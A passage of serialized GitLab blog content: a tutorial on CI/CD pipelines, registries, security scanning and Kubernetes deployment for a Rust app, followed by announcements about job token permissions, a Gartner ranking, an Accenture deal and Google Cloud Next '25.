allow_failure: true                                    # Allow formatting failures (can be improved over time)\n```\n\nThis GitLab CI configuration creates four test jobs that validate a Rust mortgage calculator application:\n\n* `test:unit` runs unit tests\n* `test:integration` executes the compiled Linux binary with sample inputs to verify functionality\n* `test:clippy` performs code quality linting (allowed to fail)\n* `test:format` checks code formatting compliance (allowed to fail)\n\n## Package and Container Registries\n\nGitLab's [Package Registry](https://docs.gitlab.com/user/packages/package_registry/) provides a secure solution to the common challenge of sharing\ninternal libraries and proprietary code within organizations. This capability is essential\nfor enterprises and teams that need to maintain artifacts while leveraging the broader\nRust ecosystem.\n\nThe registry supports [generic artifacts](https://docs.gitlab.com/user/packages/generic_packages/) with fine-grained access controls that\nalign with GitLab's project permissions. This means teams can share libraries securely across\nprojects while maintaining intellectual property protection and compliance requirements.\n\nAdditonally, we can containerize our application and store the container images in\nGitLab's built-in [Container Registry](https://docs.gitlab.com/user/packages/container_registry/).\n\n### Publishing to GitLab Package Registry\n\nThis section of our `.gitlab-ci.yml` demonstrates how to package and publish Rust applications\nas tar archives to GitLab's generic package registry using CI/CD automation.\n\n```yaml\n# Package application as tar archive\npackage:tar:\n  image: alpine/curl:8.12.1                             # Lightweight image with curl for uploading\n  stage: package                                         # Execute during package stage\n  variables:\n    PACKAGE_NAME: mortgage-calculator.tar.gz             # Name of the archive file\n  script:\n    # Create tar archive of the Linux binary\n    - tar -czvf $PACKAGE_NAME target/x86_64-unknown-linux-gnu/release/mortgage-calculator\n    # Upload archive to GitLab Package Registry using API\n    - |\n      curl -v --location --header \"JOB-TOKEN: $CI_JOB_TOKEN\" \\\n      --upload-file $PACKAGE_NAME \\\n      \"$CI_API_V4_URL/projects/$CI_PROJECT_ID/packages/generic/tar/$CI_COMMIT_BRANCH/$PACKAGE_NAME\"\n  artifacts:\n    paths:\n      - target/x86_64-unknown-linux-gnu/release/mortgage-calculator  # Save binary\n      - mortgage-calculator.tar.gz                      # Save archive\n    expire_in: 1 week                                    # Keep artifacts for 1 week\n  needs:\n    - build-linux                                        # Depends on Linux build completing\n```\n\nThis GitLab CI configuration defines one packaging job `package:tar` that creates a compressed tar archive\nof the Linux mortgage calculator binary and uploads it to GitLab's Package Registry, while also saving\nboth the binary and archive as pipeline artifacts.\n\n![Package Registry](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314541/uqnejcipnge3r1dngotm.png)\n\n### Publishing to GitLab Container Registry\n\nThe below shows the process of building Dockerfiles and publishing Docker images to GitLab's\nContainer Registry with proper tagging and authentication.\n\n```yaml\n# Package application as Docker image\npackage:docker:\n  image: docker:24.0                                     # Use Docker image for building containers\n  stage: package                                         # Execute during package stage\n  services:\n    - docker:24.0-dind                                   # Docker-in-Docker service for building images\n  before_script:\n    # Login to GitLab Container Registry\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n  script:\n    - docker build -t $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG .  # Build Docker image with commit SHA tag\n    - docker tag $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG $DOCKER_IMAGE_NAME:latest  # Also tag as latest\n    - docker push $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG  # Push tagged image to registry\n    - docker push $DOCKER_IMAGE_NAME:latest             # Push latest image to registry\n```\n\nThis GitLab CI configuration defines one Docker packaging job `package:docker` that builds a Docker\nimage of the mortgage calculator application, tags it with both the commit SHA and \"latest,\" and\nthen pushes both tagged versions to  GitLab's Container Registry.\n\n![Container Registry](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314537/nlodhvdnpqccf0cryfqu.png)\n\n## Security scanning\n\nGitLab security scanning provides comprehensive protection that goes beyond Rust's built-in memory\nsafety guarantees. While Rust prevents many common security vulnerabilities at compile time,\napplications still need protection against dependency vulnerabilities, unsafe code blocks, and\nlogical security issues.\n\nThe platform's Static Application Security Testing (SAST) integrates seamlessly with\nRust's toolchain, providing automated security analysis as part of the CI/CD pipeline\nThis proactive approach catches security issues before they reach production, supporting\nboth compliance requirements and secure development practices.\n\nGitLab's comprehensive security features including SAST, dependency scanning, secret detection\nand more can easily be implemented via templates, as seen below. **Note:** Additional configuration is\nrequired to [enable SAST for Rust](https://docs.gitlab.com/user/application_security/sast/#scan-a-rust-application).\n\n```yaml\n# Include GitLab's security scanning templates for DevSecOps\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml                    # Static Application Security Testing\n  - template: Jobs/Dependency-Scanning.latest.gitlab-ci.yml  # Scan dependencies for vulnerabilities\n  - template: Jobs/Container-Scanning.gitlab-ci.yml      # Scan Docker containers for vulnerabilities\n  - template: Jobs/SAST-IaC.gitlab-ci.yml               # Infrastructure as Code security scanning\n  - template: Jobs/Secret-Detection.gitlab-ci.yml        # Detect secrets in source code\n```\n\nSecurity scanners can be configured similar to how you would configure any GitLab job:\n\n```yaml\n# Configure Semgrep SAST scanning for Rust files\nsemgrep-sast:\n  rules:\n    - if: $CI_COMMIT_BRANCH                              # Run on any branch\n      exists:\n        - \"**/*.rs\"                                      # Only if Rust files exist\n  variables:\n    SAST_EXCLUDED_PATHS: \".cargo/**\"                     # Exclude Cargo cache from scanning\n\n# Scan Docker container for security vulnerabilities\ncontainer_scanning:\n  stage: container-security                              # Execute during container-security stage\n  variables:\n    CS_IMAGE: $DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG      # Image to scan\n    CS_DOCKERFILE_PATH: Dockerfile                       # Path to Dockerfile for context\n  needs:\n    - package:docker                                     # Depends on Docker image being built\n```\n\nWhen vulnerabilites are detected in a merge request (MR), you can see all the vulnerabilites detected\nand use the provided information to either resolve or dismiss vulnerabilities.\n\n![Vulnerability MR view](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314544/gcicke3ltvbcv57mr8zr.png)\n\nYou also can add [Security Policies](http://docs.gitlab.com/user/application_security/policies/) to require approval before vulnerable code can be merged, or to force scanners to run regardless of what is in the `.gitlab-ci.yml`.\n\n![Merge Request Approval Policy](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/c95nwocol03lonrr6r4n.png)\n\nYou can triage all the vulnerabilities found in your default branch by using the\n[Vulnerability Report](https://docs.gitlab.com/user/application_security/vulnerability_report/):\n\n![Vulnerability Report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314544/b0nctigbv1ddpzizkp9x.png)\n\n## Documentation with GitLab Pages\n\n[GitLab Pages](https://docs.gitlab.com/user/project/pages/) provides an excellent platform for\nhosting Rust documentation, integrating seamlessly with Cargo's built-in documentation generation.\nThis creates a powerful workflow where API documentation, project guides, and examples are automatically\ngenerated and deployed with every code change.\n\nThe combination of `cargo doc` and GitLab Pages enables teams to maintain up-to-date documentation\nwithout manual intervention, ensuring that documentation stays synchronized with code changes.\nThis is particularly valuable for Rust projects where comprehensive documentation is essential\nto understand complex APIs and safety contracts.\n\n### Automated documentation deployment\n\nThe following code shows the CI/CD configuration for automatically generating and deploying Rust documentation using\n`cargo doc` and GitLab Pages.\n\n```yaml\n# Generate and publish documentation using GitLab Pages\nbuild-documentation:\n  extends: .rust-template                                # Use Rust template configuration\n  stage: build                                           # Execute during build stage\n  variables:\n    GIT_SUBMODULE_STRATEGY: recursive                    # Clone submodules recursively if needed\n  pages: true                                            # Enable GitLab Pages deployment\n  script:\n    - cargo doc --no-deps                                # Generate documentation without dependencies\n    - mv target/doc public                               # Move docs to public directory for Pages\n  artifacts:\n    paths:\n      - public                                           # GitLab Pages serves from public directory\n  rules:\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH     # Only run on default branch (main/master)\n  environment:\n    name: documentation                                  # Environment name for tracking\n    url: $CI_PAGES_URL/mortgage_calculator/index.html   # Documentation URL\n  allow_failure: true                                    # Allow documentation build to fail\n```\n\nOnce the job is complete, you can see the deployed documentation by visiting the [GitLab Environment](https://docs.gitlab.com/ci/environments/) it has been deployed to.\n\n![Pages environment](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314541/aofa6wwjugeyeshuwg9r.png)\n\nThis allows you to manage multiple versions of the documentation in different envrionments.\nThe documentation will be deployed consistent with the `cargo doc` output:\n\n![Pages build](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314541/go0tmljjzoxq5bujsdbv.png)\n\n## Deploy anywhere\n\nOne of GitLab's greatest strengths is its infrastructure-agnostic approach to deployment.\nWhether your organization runs on traditional on-premises servers, modern cloud platforms,\nhybrid environments, or edge computing infrastructure, GitLab's CI/CD system can deploy Rust\napplications seamlessly across any target environment.\n\nGitLab's deployment flexibility stems from its container-first approach and extensive integration\necosystem. The platform supports deployment to virtually any infrastructure that can run\ncontainers, virtual machines, or bare-metal applications. This versatility is particularly\nvaluable for Rust applications, which often need to run in diverse environments ranging from\nresource-constrained embedded systems to high-performance cloud clusters.\n\n### Kubernetes deployment\n\nGitLab simplifies Kubernetes deployments by providing built-in cluster integration and\npre-configured Docker images that include essential tools like Helm and kubectl, eliminating\nthe need for developers to set up complex deployment environments.\n\n```yaml\n# Deploy application to Kubernetes cluster\ndeploy:kubernetes:\n  stage: deploy                                          # Execute during deploy stage\n  image: registry.gitlab.com/gitlab-org/cluster-integration/helm-install-image:helm-3.10.0-kube-1.24.6-alpine-3.15  # Image with Helm and kubectl\n  variables:\n    HELM_HOST: \"localhost:44134\"                         # Helm host configuration\n    HELM_DEPLOY_NAME: mortgage-calc-$CI_COMMIT_REF_NAME  # Deployment name based on branch\n    HELM_DEPLOY_NAMESPACE: calc-app                      # Kubernetes namespace for deployment\n    KUBE_CONTEXT: $CI_PROJECT_PATH:rust-mortgage-calculator  # Kubernetes context to use\n  script:\n    - kubectl config use-context $KUBE_CONTEXT          # Set the kubectl context\n    # Deploy using Helm with custom values and Docker image\n    - helm upgrade --install $HELM_DEPLOY_NAME chart -f chart/values.yaml\n      --namespace $HELM_DEPLOY_NAMESPACE\n      --create-namespace\n      --set image=$DOCKER_IMAGE_NAME:$DOCKER_IMAGE_TAG\n      --set calc.name=$HELM_DEPLOY_NAME \n  needs:\n    - package:docker                                     # Depends on Docker image being available\n```\n\nThis GitLab CI configuration defines one deployment job `deploy:kubernetes` that uses Helm to deploy the\nmortgage calculator application to a Kubernetes cluster, creating or upgrading the deployment in a\ndedicated namespace while using the Docker image built in the previous packaging stage.\n\n![Kubernetes output](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/bgmbh4qyfxcnnlqvsitc.png)\n\n## GitLab Duo AI features\n\n[GitLab Duo](https://about.gitlab.com/gitlab-duo/) AI features provide significant advantages for Rust development by offering intelligent code\nsuggestions and explanations specifically tailored to the language's unique syntax and patterns.\n\nThe GitLab platform supports Rust as one of its [directly-supported languages](https://docs.gitlab.com/user/project/repository/code_suggestions/supported_extensions/#supported-languages-by-ide) for every IDE, ensuring high-quality code completion and generation\nthat understands Rust's ownership model, memory safety principles, and idiomatic patterns. \n\n### GitLab Duo Code Suggestions\n\nGitLab Duo's ability to provide contextual code suggestions while typing helps developers navigate Rust's\nsometimes complex syntax more efficiently, reducing the learning curve for newcomers and accelerating\nproductivity for experienced developers.\n\n![Code Suggestions](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314538/uvy6hmzvyd0mnqeic9tq.png)\n\n### GitLab Duo Chat\n\n[GitLab Duo Chat](https://about.gitlab.com/blog/gitlab-duo-chat-gets-agentic-ai-makeover/) complements the code suggestions by offering conversational assistance for explaining\nRust code sections, debugging compiler errors, and providing guidance on best practices. This is\nparticularly valuable in Rust development where compiler error messages, while helpful, can\nsometimes be overwhelming for developers transitioning from other languages. The AI can help interpret\nRust's detailed error messages and suggest fixes, making the development process more efficient by\nreducing the time spent deciphering compilation issues.\n\n![GitLab Duo Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756314537/depxztu1h89bez3ylwk3.png)\n\nGitLab Duo Chat can also be used directly from Vulnerability Report to explain a vulnerability. GitLab Duo [Vulnerability Explanation](https://about.gitlab.com/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/) represents a\nsignificant advancement in making application security more accessible and actionable for development teams. Rather than simply flagging potential issues with\ncryptic error codes. or technical jargon, AI breaks down each vulnerability's nature, potential impact, and remediation steps in terms that developers at\nall skill levels can quickly grasp. This democratization of security knowledge accelerates the remediation process, reduces the back-and-forth between security\nand development teams, and ultimately helps organizations ship more secure code faster:\n\n![Vulnerability Explain 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405091/rrcenbfazhhulmrp99yx.png)\n\u003Cp>\u003C/p>\n\n![Vulnerability Explain 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405094/b3o4lkexyn9lp41ib8ye.png)\n\u003Cp>\u003C/p>\n\n![Vulnerability Explain 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405095/y56wq8j5tg10t4dgbgfq.png)\n\u003Cp>\u003C/p>\n\n![Vulnerability Explain 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/mpc1mst4ydijpqdtlljm.png)\n\u003Cp>\u003C/p>\n\nGitLab Duo also provides [Agentic Chat](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/), which serves as an intelligent development companion for Rust\napplications, offering context-aware assistance throughout the entire development lifecycle. Developers\ncan leverage its conversational interface to generate Rust code snippets, scaffold new Rust projects with\nappropriate `Cargo.toml` configurations, and much more.\n\n### GitLab Duo Vulnerability Resolution\n\nGitLab Duo [Vulnerability Resolution](https://docs.gitlab.com/user/application_security/vulnerabilities/#vulnerability-resolution) uses AI to automatically generate specific code fixes for detected\nsecurity issues, dramatically reducing remediation time from hours to minutes. AI analyzes vulnerable code patterns\nand proposes precise patches tailored to the project's context, language, and dependencies while maintaining code\nfunctionality and style consistency. This automation is particularly effective for common vulnerabilities like SQL\ninjection and cross-site scripting, enabling development teams to maintain velocity while significantly improving their\nsecurity posture without disrupting the development workflow.\n\n![Duo Remediate Example 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/blpwclp68igekkecbyna.png)\n\u003Cp>\u003C/p>\n\n![Duo Remediate Example 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/avvncsspwyirtk14jdbe.png)\n\u003Cp>\u003C/p>\n\n### GitLab Duo Code Review\n\nGitLab Duo's [AI-powered code review](https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/#have-gitlab-duo-review-your-code) enhances the development process by providing intelligent, automated feedback on\nMRs before human reviewers engage. AI analyzes code changes for potential bugs, security vulnerabilities,\nperformance issues, and adherence to coding standards, offering contextual suggestions and explanations that help developers\ncatch issues early. By augmenting traditional peer reviews with consistent, immediate AI insights, this feature reduces\nthe burden on senior developers, accelerates the review cycle, and ensures that basic quality checks are consistently\napplied across all code contributions, ultimately improving code quality while allowing human reviewers to focus on\nhigher-level architectural and business logic concerns.\n\n![Duo Code Review 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405090/hewxrp2f22mf2fe4daaa.png)\n\u003Cp>\u003C/p>\n\n![Duo Code Review 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756405091/qbw1gi0l4ngysnyjwoy8.png)\n\u003Cp>\u003C/p>\n\nThese are just some of the AI feautures that can be used to allow you to ship more secure Rust software faster than ever.\nTo learn about all the GitLab AI features provided, visit the [GitLab Duo solution page](https://about.gitlab.com/gitlab-duo/).\n\n## The GitLab advantage for Rust\n\nGitLab provides a complete development platform that matches Rust's comprehensive approach:\n\n**Integrated Workflow:**\n- **Single Platform:** Code, CI/CD, security, and deployment in one place\n- **Rust-optimized:** Docker-based builds perfect for Rust's toolchain\n- **Security First:** Built-in security scanning\n- **Enterprise-ready:** Scalable infrastructure for large teams\n\n**Performance Benefits:**\n- **Efficient Caching:** Speeds up Rust's longer compilation times\n- **Parallel Builds:** Maximizes GitLab Runner efficiency\n- **Artifact Management:** Streamlined binary distribution\n\n**Developer Experience:**\n- **Familiar Tools:** Leverage standard Rust tooling (Cargo, Clippy, rustfmt)\n- **Visual Feedback:** Comprehensive dashboards and reporting\n- **Automation:** Reduces manual deployment and testing overhead\n- **GitLab Duo AI:** Ship more secure software faster with AI throughout the entire software development lifecycle\n\nGitLab's platform capabilities perfectly complement Rust's strengths, creating an ecosystem\nwhere safety, performance, and developer productivity converge. Rust applications on GitLab\nrepresent the cutting edge of software development—powered by a platform that understands and\nenhances the Rust development experience.\n\nTo learn more about the benefits of GitLab, sign up for a [free trial of GitLab Ultimate with Duo Enterprise](https://about.gitlab.com/free-trial/).\n",{"content":1020,"config":1029},{"title":1021,"description":1022,"authors":1023,"heroImage":845,"date":1026,"category":744,"tags":1027,"body":1028},"Fine-grained permissions for job tokens is now GA","GitLab now allows the use of fine-grained permissions for CI/CD job tokens, enhancing the security of your software supply chain.",[1024,1025],"Alex Mark","Joe Randazzo","2025-08-26",[269],"[CI/CD](https://about.gitlab.com/topics/ci-cd/) pipelines often inherit overprivileged permissions from user accounts, creating significant security risks if pipelines are compromised or tokens are leaked. [GitLab 18.3](https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/) introduces fine-grained permissions for job tokens to solve this problem, moving this security enhancement from Beta to GA.\n\nThis capability allows maintainers to implement granular permissions that control job token access to API resources. Following the [principle of least privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/), these job tokens have no ability to access any API resources until you explicitly grant them permissions.\n\nThis initial release includes fine-grained permissions for the following resources:\n\n* Repositories\n* Deployments\n* Environments\n* Jobs\n* Packages\n* Pipelines\n* Releases\n* Secure Files\n* Terraform State\n\nAdditional API endpoints are planned for future releases. For more information, see the [associated epic](https://gitlab.com/groups/gitlab-org/-/epics/6310).\n\n![fine-grained permissions example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755633419/izgwpj45oxoof0frvhap.png)\n\n## The bigger picture\n\nThis release represents a critical step in GitLab's broader mission to improve your software supply chain security. Historically, job tokens have been bound to the user running the pipeline, inheriting their privileges and creating security risks if pipelines are compromised.\n\nFine-grained permissions for job tokens provide a foundation for a more secure CI/CD ecosystem that:\n\n* **Reduces attack surface**: Implements the principle of least privilege by limiting access to only necessary resources\n* **Eliminates dependency on long-lived tokens**: Provides a secure alternative that reduces the need for personal access tokens and other persistent credentials\n* **Prepares for machine-based identity**: This opt-in approach lays the groundwork for eventually decoupling job tokens from user identities entirely, moving toward true machine-to-machine authentication\n* **Enables secure automation at scale**: Supports complex deployment workflows and CI/CD components without compromising security\n\n## Getting started\n\nSecurity teams and DevOps engineers should evaluate this feature for any projects running automated deployments, package publishing, or infrastructure management. Since this is an opt-in capability, you can migrate gradually to minimize disruption to your existing pipelines.\n\nStart by identifying your most critical pipelines and auditing their current permission requirements. Then enable fine-grained permissions and configure the minimal access needed for each project. For more information, see the [documentation on fine-grained permissions for CI/CD job tokens](https://docs.gitlab.com/ci/jobs/fine_grained_permissions/).",{"slug":1030,"featured":6,"template":808},"fine-grained-job-tokens-ga",{"category":751,"slug":755,"posts":1032},[1033,1045,1056],{"content":1034,"config":1043},{"title":1035,"description":1036,"heroImage":1037,"authors":1038,"date":1040,"body":1041,"category":755,"tags":1042},"GitLab named a Leader in the 2025 Gartner Magic Quadrant for AI Code Assistants","GitLab recognized again as a Leader in the 2025 Gartner® Magic Quadrant™ for AI Code Assistants, for vision and execution.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1757675943/q9kb7zfiw1cyxx9fcafp.png",[1039],"Manav Khurana","2025-09-17","GitLab has been recognized for the second time as a Leader in the 2025 Gartner® Magic Quadrant™ for AI Code Assistants. We see this recognition as validation of a key pillar in our broader AI strategy, where intelligent code assistance evolves into comprehensive AI that transforms how entire teams plan, build, secure, and deploy software.\n![2025 Gartner® Magic Quadrant™ for AI Code Assistants](https://res.cloudinary.com/about-gitlab-com/image/upload/v1758121248/jfkmhddve6qvlg79xico.png)\n> [Download the report.](https://about.gitlab.com/gartner-mq-ai-code-assistants/)\n## From AI features to intelligent collaboration \n\nThe Gartner evaluation, we feel, focused on GitLab Duo's generative AI code assistance capabilities. While GitLab Duo began as an AI add-on to the GitLab DevSecOps platform, it laid the groundwork for where we are going today with agentic AI built natively into the GitLab DevSecOps platform. \n\nGitLab Duo Agent Platform enables developers to work alongside multiple AI agents that automate tasks across the software lifecycle. Agents collaborate with each other and with humans, using GitLab’s Knowledge Graph to act with full project context. This empowers teams to move faster while keeping visibility and control. \n\n* **Specialized agents** handle tasks such as code generation, security analysis, and research in parallel. \n\n* **Knowledge Graph** connects agents to a unified system of record across code, issues, pipelines, and compliance data. \n\n* **Human + agent collaboration** happens through natural-language chat and customizable flows, with review and oversight built in. \n\n* **Interoperability with external tools and systems** is supported through Model Context Protocol (MCP) and agent-to-agent frameworks. \n\nWith agents handling routine work under human guidance, teams can move faster, focus on higher-value tasks, and keep projects secure and compliant. \n\n## Secure by design, flexible in practice\n\nThe GitLab Duo Agent Platform is designed to keep security and compliance front and center. Agents run inside GitLab’s trusted DevSecOps environment, with every action visible and reviewable before changes are made. Secure integrations help ensure credentials and sensitive data are handled safely, while interoperability through open standards connects agents to external tools without exposing an organization to risk. \n\nThe platform gives teams confidence that AI is enhancing productivity without compromising governance. Here's how: \n\n* **Developers** can stay focused on complex, high-impact work, while handing off routine tasks to agents for faster results and more granular context delivered through their existing workflows. \n\n* **Engineering leaders** gain visibility into how work moves across the lifecycle, with agents operating within clear guardrails. They also can ensure their teams stay aligned to priorities and simplify onboarding with guided support through agent-driven context and workflows.  \n\n* **IT organizations** maintain control over agent activity with governance features that enforce coding and security policies, offer model selection flexibility, and ensure secure interoperability — all while keeping humans in the loop. \n\n## Leading the move to AI-native development\n\nGitLab continues to build on the vision that began with Duo, and will continue to expand GitLab Duo Agent Platform with new agents, advanced workflows, and more orchestration capabilities. This commitment to innovation ensures you can amplify team productivity on the platform you know and trust. Stay tuned for exciting updates on our roadmap as we continue to revolutionize AI-native DevSecOps. \n\n> [Download the 2025 Gartner® Magic Quadrant™ for AI Code Assistants](https://about.gitlab.com/gartner-mq-ai-code-assistants/) and [try GitLab Duo Agent Platform today](https://about.gitlab.com/gitlab-duo/agent-platform/).\n\n*Source: Gartner, Magic Quadrant for AI Code Assistants, Philip Walsh, Haritha Khandabattu, Matt Brasier, Keith Holloway, Arun Batchu, 15 September 2025* \n\n*GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally, and MAGIC QUADRANT is a registered trademark of Gartner, Inc. and/or its affiliates and are used herein with permission. All rights reserved.* \n\n*Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.* \n\n*This graphic was published by Gartner Inc. as part of a larger report and should be evaluated in the context of the entire document. The Gartner document is available upon request from Gartner B.V.*",[776,755,728],{"featured":91,"template":808,"slug":1044},"gitlab-named-a-leader-in-the-2025-gartner-magic-quadrant-for-ai-code-assistants",{"config":1046,"content":1048},{"featured":6,"template":808,"slug":1047},"gitlab-and-accenture-announce-global-reseller-agreement",{"title":1049,"description":1050,"category":755,"tags":1051,"authors":1052,"heroImage":1053,"date":1054,"body":1055},"GitLab and Accenture announce Global Reseller Agreement","New reseller agreement empowers Accenture to offer GitLab's comprehensive DevSecOps platform.",[755,776,728],[892],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1751568278/bots3gyfarx8qysbkw6c.png","2025-09-15","We're excited to announce that GitLab and Accenture have signed a global reseller agreement, establishing Accenture as an authorized GitLab reseller and Professional Services Provider. This agreement enables Accenture to provide GitLab's complete DevSecOps platform directly to customers through multiple fulfillment channels, including the AWS Marketplace.\n\n## A milestone in collaboration\n\nThis collaboration combines GitLab's comprehensive, intelligent DevSecOps platform with Accenture's extensive expertise in digital transformation and implementation services, enabling organizations to build and deliver secure software at scale. The global reseller agreement provides a global framework that can be easily adapted to local conditions.\n\nThe collaboration will initially focus on several key areas:\n\n1. **Enterprise-scale DevSecOps Transformation:** Helping organizations modernize their development practices and streamline their software delivery lifecycle  \n2. **Mainframe Modernization:** Assisting customers with migrating from legacy systems  \n3. **GitLab Duo with Amazon Q:** Offering AI-driven software development to organizations looking to accelerate development velocity while maintaining end-to-end security and compliance\n\n## Looking ahead\n\nWe’re looking forward to helping our joint customers accelerate innovation, streamline development processes, and strengthen their security posture to achieve their business objectives more effectively.\n\nFor more information about how GitLab and Accenture can help your organization, please [visit our partner site](https://about.gitlab.com/partners/channel-partners/#/2328213) or contact your Accenture or GitLab representative.",{"content":1057,"config":1067},{"title":1058,"description":1059,"authors":1060,"heroImage":1062,"date":1063,"body":1064,"category":755,"tags":1065},"GitLab at Next '25: Transforming app modernization","GitLab participated in Google Cloud Next ‘25 and received a fifth consecutive Google Cloud Technology Partner of the Year recognition.",[1061],"Regnard Raquedan","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663121/Blog/Hero%20Images/LogoLockupPlusLight.png","2025-04-11","GitLab's presence at Google Cloud Next '25 highlighted our strong partnership with Google Cloud and our joint commitment to accelerating software development and delivery. We were recognized again as a Technology Partner of the Year, and included in key enterprise initiatives like Google Distributed Cloud (GDC) Build Partners and [Startup Perks from Google Cloud](https://cloud.google.com/blog/topics/startups/why-global-startups-are-gathering-at-google-cloud-next25?e=13802955). Our team members demonstrated for attendees how GitLab is positioned to be a critical DevSecOps service for Google Cloud customers.\n\n## Continuing our award-winning partnership excellence\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175937/Blog/nempa4yvfutedz3fpuxx.jpg\" alt=\"GitLab team at Google Cloud Next '25\" align=\"left\" width=\"400px\" style=\"padding-right: 20px; padding-bottom: 10px\"/>\n\nWe're thrilled to announce that GitLab has once again been named a [Google Cloud Technology Partner of the Year award winner](https://about.gitlab.com/press/releases/2025-04-08-gitlab-wins-a-google-cloud-technology-partner-of-the-year-award-for-devops/), marking our fifth consecutive time receiving this prestigious honor. This remarkable achievement reaffirms our position as Google Cloud's primary DevOps partner, consistently delivering exceptional value year after year. The continued recognition highlights how our collaboration with Google Cloud creates tangible business outcomes for customers, enabling organizations across industries to build, secure, and deploy applications with efficiency and confidence.\n\n## Google Distributed Cloud: DevSecOps for highly regulated environments\n\nAnother significant milestone announced at Next '25 was GitLab's \"Google Cloud Ready - Distributed Cloud\" certification. This designation enables organizations to implement GitLab in air-gapped environments, addressing critical security and compliance requirements.\n\nAs an end-to-end DevSecOps solution available on Google Distributed Cloud, GitLab enables sovereign development and operations for workloads critical to national security and regulatory compliance. This integration is particularly valuable for government agencies and financial institutions that require the highest levels of data sovereignty while maintaining modern development practices.\n\n## GitLab perks for Google Startups\n\nGitLab is a Featured Partner of the new Startup Perks program from Google Cloud. This partnership ties up with our own [GitLab for Startups](https://about.gitlab.com/solutions/startups/google-cloud/) and is meant to jumpstart new tech ventures with key DevSecOps capabilities that can help with fast growth and scaling.\n\nAs one of the [Featured Perks partners](https://cloud.google.com/startup/perks), eligible startups can get free or discounted access to one year of [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/) for 20 licenses. For seed or early stage startups, this benefit can help ensure collaboration, efficiency, and security without sacrificing speed and agility.\n\n## Thoughts from the dais\n\nGitLab experts shared valuable insights across multiple speaking sessions at Next '25, delivering practical knowledge on AI-powered DevSecOps, platform engineering, and cloud application delivery:\n\n* __[AI DevOps panel](https://cloud.withgoogle.com/next/25/session-library?session=BRK2-163&utm_source=copylink&utm_medium=unpaidsoc&utm_campaign=FY25-Q2-global-EXP106-physicalevent-er-next25-mc&utm_content=reg-is-live-next-homepage-social-share&utm_term=-):__ Mike Flouton, GitLab Vice President of Product Management, joined industry leaders to discuss how AI code assist tools boost productivity while enhancing application performance.\n\n* __[Software Logistics - The Missing Link in Modern Platform Engineering](https://cloud.withgoogle.com/next/25/session-library?session=CT2-16&utm_source=copylink&utm_medium=unpaidsoc&utm_campaign=FY25-Q2-global-EXP106-physicalevent-er-next25-mc&utm_content=reg-is-live-next-homepage-social-share&utm_term=-):__ GitLab Field CTO Lee Faus explored how effective software logistics create the foundation for successful platform engineering initiatives.\n\n* __[Revolutionizing Cloud Application Delivery with Intelligent Agents](https://cloud.withgoogle.com/next/25/session-library?session=CT2-17&utm_source=copylink&utm_medium=unpaidsoc&utm_campaign=FY25-Q2-global-EXP106-physicalevent-er-next25-mc&utm_content=reg-is-live-next-homepage-social-share&utm_term=-):__ Faus also demonstrated how intelligent agents are transforming cloud application delivery pipelines.\n\n## Engaging attendees across Next '25\n\nIn addition to our speaking sessions, GitLab maintained a strong presence throughout Next '25. At our booth #2170 on the expo floor, our team engaged with hundreds of attendees through demonstrations and lightning talks featuring both GitLab experts and partners like Arctiq and SADA.\n\nThe Google Cloud Makerspace's Dev Tools Pantry became a hub of innovation and collaboration. John Coghlan, Director of Developer Advocacy, observed: \"It was great to connect with many GitLab and Google Cloud customers in the Dev Tools Pantry in the Makerspace. We loved seeing the creative solutions that people came up with around developer experience and simplified deployments using GitLab and Google Cloud as their ingredients.\"\n\nThese hands-on experiences showcased how GitLab's DevSecOps solutions integrate well with Google Cloud services, with our AI-powered capabilities demonstrations drawing particular interest from attendees looking to enhance developer productivity and application security.\n\n## GitLab and Google Cloud: Transforming the future together\n\nThe energy witnessed at Next '25 exemplifies why GitLab and Google Cloud make such powerful partners. Together, we help organizations to transform how they build, secure, and deploy applications through:\n\n* AI-assisted development capabilities and collaborative workflows that can help accelerate innovation in Google Cloud environments\n\n* Shift-left security approach that integrates with Google Cloud's security-first architecture to identify vulnerabilities early in the development lifecycle\n\n* Flexible deployment options and comprehensive observability that work harmoniously with Google Cloud infrastructure to help streamline operations\n\nAs demonstrated at 